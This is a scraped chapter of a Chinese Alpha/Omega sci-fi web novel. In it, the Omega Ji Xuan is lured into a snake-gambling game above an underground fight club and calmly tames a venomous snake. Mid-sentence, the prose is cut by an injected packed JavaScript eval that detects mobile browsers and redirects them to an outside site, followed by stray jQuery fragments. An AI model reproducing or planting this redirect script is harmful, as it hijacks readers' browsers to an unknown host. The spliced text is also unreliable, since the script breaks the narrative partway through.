下城区的夜晚,总是比上城区来得早。
这里的霓虹灯刺目又暧昧,废旧的金属结构与崭新的虚拟投影交错在一起,像是野蛮生长的藤蔓,将肮脏和繁华一并纠缠。
希赫·罗昂在侍从的带领下行过长廊,空气里潮湿的烈酒气息扑面而来。
从外表看,这里和普通的夜间酒吧无甚差别——前厅是纸醉金迷的舞池与卡座,灯光旖旎糜艳,Alpha与Omega人影纠缠,音乐震得耳膜发麻。
但往深处走,另一重才天地显露出来。
厚重的隔音门被拉开,气氛骤然收紧。
钢铁拼接的八角笼被冷光镭射灯笼罩着,观众席上群情激奋,嘶吼与下注的声音此起彼伏。鲜血混着汗水滴落在地,散发出热烈又粗暴的气息。
与拳场隔着一层单向透明屏障的,是专门为少数客人准备的包厢。
皮质沙发宽敞,吧台后陈列着各大星系有名的烈酒,中央的全息投影屏幕可以随时切换,或是展示下注比率,或是预告下一场“特别节目”。
“希赫!”甫一进门,一双手便勾住了他的肩,来人红发乱蓬,眼底的闪烁着兴奋的光,“你真把季家那位Omega喊来了?”
希赫·罗昂挑起眉,脸上虽是笑意盎然,可眼里却转着一层阴郁的审视:“对啊,你对他很感兴趣?”
“怎么可能?!”红发青年声调顿时提高,像是怕被误会正极力撇清自己。
但察觉到希赫的目光,他又觉得自己有些小题大做,随后轻蔑地嗤了一声,抬手拿起酒杯抿了一口:“我就是觉得吧……一个垃圾星来的土炮,又愚蠢又无趣,除了被吓得浑身发抖,其他一点意思都没有,你怎么每次出来都喜欢带着他?”
希赫扫过安置在皮质沙发前的蛇箱,几条金属色泽的异种蟒蛇安静沉伏着,鳞片在灯光下泛着诡谲的光泽,眼珠猩艳,吐出的信子带着危险的气息。
希赫的眼底掠过一丝笑意,接过旁人递来的酒,似有若无地抿了一口。
他几乎可以想象到季悬出现在这里的样子——
纤长的睫毛因恐惧而颤抖,呼吸急促,咬着牙可怜又无助地寻找掩体,但又无可奈何。
这种画面,想想就让人血脉偾张。
他舔了舔牙,恶劣地笑道:“可是浑身发抖就是他最大的乐趣。”
“况且他当初分化时咬了我一口,我还没有报复回来呢。”
另一人打趣道:“怎么,你想让你的‘墨菲斯托’也咬他一口?”
希赫掀开蛇箱的盖子,随意丢了条饵鱼进去。几条异种蟒蛇一拥而上,瞬间就把饵鱼瓜分了干净。
“你怎么能这么恶毒?”他似笑非笑地说,“那样哥哥他该有多害怕啊。”
红发青年盯着正在逗弄异种蟒蛇的希赫,心想这里最恶毒的就是你了。
他正要再说些什么,余光却忽然透过单向屏障,捕捉到突然出现在楼梯口的那道身影。
那人面容冷白眉眼沉黑,周身气质与这格格不入,像是误入了这片混浊的喧嚣荒原。
他不急不徐地沿着长廊走,腰板自然地挺直着,身姿极其优雅,昏暗的光扫过他工笔画一般的眉眼,红发青年的喉结滚了滚,不自觉地屏住呼吸。
灯下看美人,犹胜三分色。
古地球人诚不欺我。
红发青年盯得入神,连杯中的酒喝完了都没有察觉。
“看什么呢?”包厢里的其他人察觉到他的不对劲,试探地别了下他的大腿。
另一个人打趣道:“还能怎么,估计又是看到了哪个Omega呗。”
倚在沙发上的几个Alpha也循着他的目光看去。
“哪呢?”
“啧,这里的Omega大多都眼熟了,今天还能有什么新货色不成?”
红发青年心头一紧,眼见着那人走得越来越近,步伐既不慌乱也不胆怯,周身素白的装束让他在昏暗的灯红酒绿的长廊上看起来十分突兀。
像是污泥里忽然坠入一块冰冷锋锐的玉。
“啧,”有人轻佻地吹了声口哨,“倒是个漂亮东西,看来泽菲尔你的趣味比希赫的高级不少啊哈哈。”
“去,帮我打听下那个人是……”
话音未落,只见那人径直朝他们这走了过来。
泽菲尔顿时瞪大了眼睛。
包厢里的喧闹声被瞬间抽空,众人下意识地止住了声,只听得酒杯与桌面碰撞的轻响,以及那几条异种蟒蛇缓慢吐出信子的嘶嘶声。
金属门被外面的侍从推开,希赫终于抬眸。
昏暗的光线顺着门缝泻入,映出一截纤长的影子。
季悬没有穿作训服,身上换了一套纯白的休闲西装,垂落感十足的面料勾勒出他由肩至腿的暧昧线条,腰间的细链腰带掐出一截好看的腰身弧度。一头长发随意又松散地编成蝎子辫,静静地从左肩垂下。
因为酒吧入场的要求,他伶仃的脖颈上戴着一条极细的抑制器,给在场的Alpha们平添了无尽遐想。
一双冷淡的桃花眼扫过包厢里的众人。
空气里Alpha的信息素蠢蠢欲动。
希赫·罗昂冷眼压下那些躁动的气息,对上季悬的目光时,脸上又恢复到了之前的漫不经心。
说话时,他的尾音轻轻挑起:“哥哥,你可终于到了。我等了你很久,还以为你要放我鸽子呢。”
包厢里鸦雀无声。所有人都意识到,眼前的这位不是什么无名的Omega。
他是希赫·罗昂期待许久的“玩物”。
泽菲尔的指节因用力攥着酒杯而泛白,原本想借着玩笑掩盖心跳,可当季悬的眼神淡淡地掠过他时,他却觉得心头猛地被攫住,连呼吸都停了一瞬。
“……呵。”
察觉到同伴的失态,希赫嘲讽地笑了一声,又朝向正在观察着包厢内部的季悬,轻佻地说:“哥哥今晚的出场还真是高调,看样子都把我这位朋友迷得找不着北了。”
季悬没有急着回应。
他缓缓走进包厢。
蛇箱里的异种蟒蛇被陌生的气息惊扰,血红的竖瞳齐齐抬起,吐出的信子在空气中嗅探着。
皮质沙发上,那些Alpha倚坐得姿势各异。有人饶有兴味地审视着他,目光赤裸。有人微微眯眼,满脸都是掩盖不住的躁动与好奇。
桌上的酒液在灯光下折射出深红色的光泽,像血一般。
全息屏幕仍旧在无声地闪烁着下注比率,可无人再去关注。
季悬面无表情地经过关着数条蟒蛇地蛇箱。
然后轻慢地坐在了原本属于希赫的位置上。
纤长的手指顺势搭在沙发扶手,白皙的腕骨处隐约可以见到几笔暧昧的文身线条。
“不是说有好玩的东西要给我瞧?”他翘着腿,嗓音低而冷清,在安静的环境里显得异常分明,“我人已经到了,也该是你和你的朋友献宝的时候了。”
在场的几个Alpha脸色顿时变得不太好看。
其中一个更是直接开口讥讽:“希赫,看起来你带来的这位,没你说得那么会发抖啊?”
希赫·罗昂不怒反笑,将手里的杯子摇了摇,琥珀色的液体在玻璃壁上缓慢晃荡。
“别急啊,”他的声音温柔又顽劣,“今晚的时间还很长,好东西不是应该慢慢欣赏吗?”
季悬歪着脑袋,颇有兴致地看着他。
“既然哥哥想看,那不如玩点刺激的。”他伸手一拍蛇箱的边缘,几条异种蟒蛇同时抬起头来,血红的竖瞳在灯光下泛着妖冶的光。
“赌蛇。”有人眼神兴奋,舔了舔后槽牙,“以往都是轮盘赌,今天不如让它们自己挑选,看它们想爬到谁的身上。谁能坚持让它们在身上待十分钟,就算谁赢。”
泽菲尔问:“赢了能得到什么?”
“还能是什么?”那人意味深长地瞥了季悬一眼,“在场每个人,随意讨一份奖励,要什么都可以。”
话音落下,空气里的温度
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480901|185638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骤然攀升,Alpha们都瞬间躁动起来。
希赫慢悠悠地笑,指尖敲了敲酒杯壁:“很有意思。哥哥,你觉得呢?”
季悬挑眉,似笑非笑:“我随意。”
他似乎全然没有发现自己已经被当成了赌注。
在场的Alpha相视一笑。
希赫打了响指,包厢里的侍从打开蛇箱盖子,一股潮湿腥甜的气息扑面而来。箱子里的异种蟒蛇游出,鳞片摩擦地毯发出窸窸窣窣的声响。
希赫走到季悬的身后,手肘支着沙发靠背俯下身去,附在季悬耳边轻声说道:“这些都是泽菲尔从各大星系搜罗来的宝贝。红褐色的那条,是第三星系的红沙蟒,捕猎速度快,最擅长埋沙伏击;体型最大的那条,是绿水蟒,眼睛退化得比较彻底,不过据说运来的路上差点把星舰上的人给绞了……”
季悬听着希赫孜孜不倦地和他介绍这些蟒蛇的情况,面上没有半点波澜,只是直勾勾地观察着在地面上游走的蛇群。
有蛇掠过其中一个Alpha的鞋面,勾得他笑骂一声。
有蛇爬上了沙发,却在即将接近泽菲尔时调转方向。
希赫偏过头观察着季悬的表情,或许是因为包厢里的灯光扫过,让他终于在季悬的眼里找到了一丝晶莹的光。
“哥哥,你不会要哭了吧?”
季悬慢悠悠地转头:“如果我哭了,你会很高兴吗?”
希赫舔了舔嘴角,兴奋地说道:“怎么可能,如果哥哥哭了,我会非常愧疚。”
季悬嗤笑了一声,冷淡地评价:“装模作样。”
终于,一条花纹诡异的异种蟒蛇,径直游向了季悬。
它缓慢地缠上了沙发腿,血红的竖瞳死死地盯着季悬。
泽菲尔的心脏狂跳,忍不住地想要起身,却被同伴按住肩膀:“别坏了兴致。”
就在众人屏息凝神之时,那条异种蟒蛇突然放弃了向上攀爬的动作,如潮水一般地迅速退回了地毯上。
然而还未等他们遗憾地叹气,有人敏锐地看向了季悬所在的沙发扶手。
“……谁把墨菲斯托放出来了!”
冰凉阴湿的鳞片贴着季悬的皮肤,灯光在那条蛇的身上流转过一道盈盈的蓝色光晕。它的体型不大,总共才两指宽,但蛇信吞吐间露出的毒牙却让人不敢小觑。
蛇身缠绕着季悬手臂一路向上,吐出的信子近乎挑衅地在他颈侧一寸的空气里探过。
包厢里的呼吸声陡然凝住。
希赫拧起了眉。墨菲斯托是他所有藏品中最珍贵也最阴毒的一只,除却买下它的那一次,他就再也没有把墨菲斯托放出来过。秘蓝腹的毒腺不好去除,首都星上也无人有这个本事。
是谁打开了它的笼子?
“季悬,”希赫看着动也不敢动的季悬,担心他会因为突然的动作酿成大祸,不得已出声提醒,“你先别害怕,墨菲斯托的攻击欲望并不强,前提是你没有吓到它……”
却不想,下一秒,季悬抬起手,指尖轻飘飘地勾起秘蓝腹的脑袋,侧过头与它对视。
西装袖口因为他的动作向下滑落,他手腕上的文身完全暴露出来——细瘦的蛇缠绕在一丛花上,蛇头碾着花蕊的芯,墨色的痕迹在冰白的皮肤上格外醒目,显得□□又情色。
希赫·罗昂从来不知道季悬身上有这样的文身,一时呆愣。
等他反应过来时,墨菲斯托已经顺着季悬的手指,彻底攀在了他的手腕与手背上。
“乖崽。”他说得又轻又柔,还带着几分偏宠的意味,悦耳极了。
希赫·罗昂失神了一瞬,才后知后觉得反应过来,这句“乖崽”说的是墨菲斯托。
季悬的指腹摩挲着蛇脑袋上的鳞片,这只在蛇斗中向来暴虐骁勇的秘蓝腹竟变得如幼犬般乖巧。
突然,季悬再次偏过头来,如同先前托起蛇首那般,抬起希赫的下颌与他对视,桃花眼里是近乎毛骨悚然的多情与温柔。
“蛇很漂亮,送给我吧。”